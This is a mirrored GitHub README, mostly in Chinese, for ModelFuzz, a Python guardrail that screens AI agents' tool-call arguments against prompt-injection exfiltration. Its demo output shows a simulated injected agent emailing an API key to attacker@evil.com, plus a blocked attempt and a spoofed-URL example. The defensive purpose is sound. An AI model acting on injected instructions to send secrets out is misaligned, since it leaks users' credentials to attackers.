higagan/modelfuzz

GitHub: higagan/modelfuzz

ModelFuzz 通过在函数执行层拦截和校验 LLM agent 的 tool call 参数,防御 prompt injection 导致的敏感数据泄露和恶意操作。

Stars: 1 | Forks: 0

# ModelFuzz [![CI](https://static.pigsec.cn/wp-content/uploads/repos/cas/ad/ad5834178f7599af9fdda11629d49cae07f2997beec49821b2920eff5bfd50e7.svg)](https://github.com/higagan/modelfuzz/actions/workflows/ci.yml) [![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT) [![Python 3.10+](https://img.shields.io/badge/python-3.10+-blue.svg)](https://www.python.org/downloads/) [![Code Style: Ruff](https://img.shields.io/badge/code%20style-ruff-261230.svg)](https://github.com/astral-sh/ruff) **AI agent 的运行时护栏。拦截并阻止由 prompt injection 引起的不安全 tool call。** ## 问题所在 LLM agent 可能会通过 prompt injection 被操纵,从而进行不安全的 tool call —— 例如通过电子邮件窃取机密、访问攻击者控制的 URL,或执行任意的 shell 命令。由于模型行为本身具有不可预测性,仅靠 prompt 层面的防御无法保证被攻陷的 agent 不会执行恶意指令。 ## 解决方案 ModelFuzz 在**执行层**而非 prompt 层拦截 tool call —— 在工具运行*之前*,会根据您的策略检查每一个参数。这将安全机制从“期望模型表现良好”转变为“保证函数执行是安全的”。 ## 快速开始 ``` from modelfuzz import shield_tool @shield_tool() def send_email(to_address: str, subject: str, body: str) -> None: smtp.send(to_address, subject, body) ``` 就是这样。如果任何参数触发了策略(默认是一个 `SensitiveDataFilter`,用于捕获机密信息、密码和 API key),该调用会在 `send_email` 执行之前引发 `ModelFuzzBlockError`。 需要自定义策略?构建您自己的 engine: ``` from modelfuzz import PolicyEngine, SensitiveDataFilter, URLAllowList, shield_tool engine = PolicyEngine([ SensitiveDataFilter(sensitive_keywords=["internal_token", "ssn"]), URLAllowList(allowed_domains=["api.mycompany.com"]), ]) @shield_tool(engine=engine) def fetch_url(url: str) -> str: ... ``` ## 演示 **效果展示:** `demo.py` 模拟了一个遭到 prompt injection 的 agent,它尝试进行两次数据窃取 —— 第一次针对的是没有防护的工具(攻击成功),然后针对的是使用 `@shield_tool()` 包装的同一个工具(攻击在执行前被拦截)。 使用 `uv run python demo.py` 自行运行: ``` ============================================================ MODELFUZZ DEMO: PROMPT INJECTION DEFENSE ============================================================ ============================================================ PART 1: THE BREACH (UNGUARDED) ============================================================ [!] UNGUARDED AGENT: Executing tool with malicious payload... [>] Tool Call: send_email(**{'to_address': 'attacker@evil.com', 'subject': 'Stolen Data', 'body': "The user's API_KEY is sk-12345..."}) [!] Simulating email send... To: attacker@evil.com Subject: Stolen Data Body: The user's API_KEY is sk-12345... ============================================================ 🚨 BREACH ============================================================ Data exfiltrated to attacker@evil.com ============================================================ ============================================================ PART 2: THE SHIELD (MODELFUZZ ACTIVE) ============================================================ [+] GUARDED AGENT: Executing tool with malicious payload... [>] Tool Call: send_email(**{'to_address': 'hacker@malicious.net', 'subject': 'Exfiltration', 'body': 'Secret credentials attached: password123'}) [+] ModelFuzz is intercepting the call... [✓] ModelFuzz caught a violation: Reason: String contains sensitive keyword: 'secret' ============================================================ 🛡️ MODELFUZZ BLOCKED ============================================================ Sensitive data exfiltration stopped. ============================================================ ``` ## 工作原理 - **`PolicyEngine`** — 针对每个 tool-call 参数运行一个有序的策略列表,并在首次违规时短路,返回包含拦截原因的 `PolicyResult`。策略是普通的可调用对象 (`(value) -> Violation | None`),因此编写自己的策略只需实现一个函数即可。 - **`@shield_tool` 装饰器** — 包装任何函数,以便在函数体运行之前,每个位置参数和关键字参数都经过 engine 处理。违规将引发 `ModelFuzzBlockError`;工具永远不会执行。 - **Default Deny** — 像 `URLAllowList` 这样的允许列表规则会拦截任何未明确允许的内容:未知域名、用户信息欺骗 (`http://api.internal.com@evil.com`) 以及无法解析的 URL 都会被视为违规。如有疑问,该调用将不会运行。 ## 安装 ``` pip install modelfuzz ``` 或者使用 [uv](https://github.com/astral-sh/uv): ``` uv add modelfuzz ``` ## 贡献 欢迎贡献。请参阅 [CONTRIBUTING.md](CONTRIBUTING.md) 了解开发设置、测试和 pull-request 指南。 ## 许可证 MIT — 详情请参阅 [LICENSE](LICENSE)。
标签:AI安全, Chat Copilot, DLL 劫持, Python, 人工智能, 大语言模型, 无后门, 用户模式Hook绕过, 策略引擎, 网络安全挑战, 逆向工具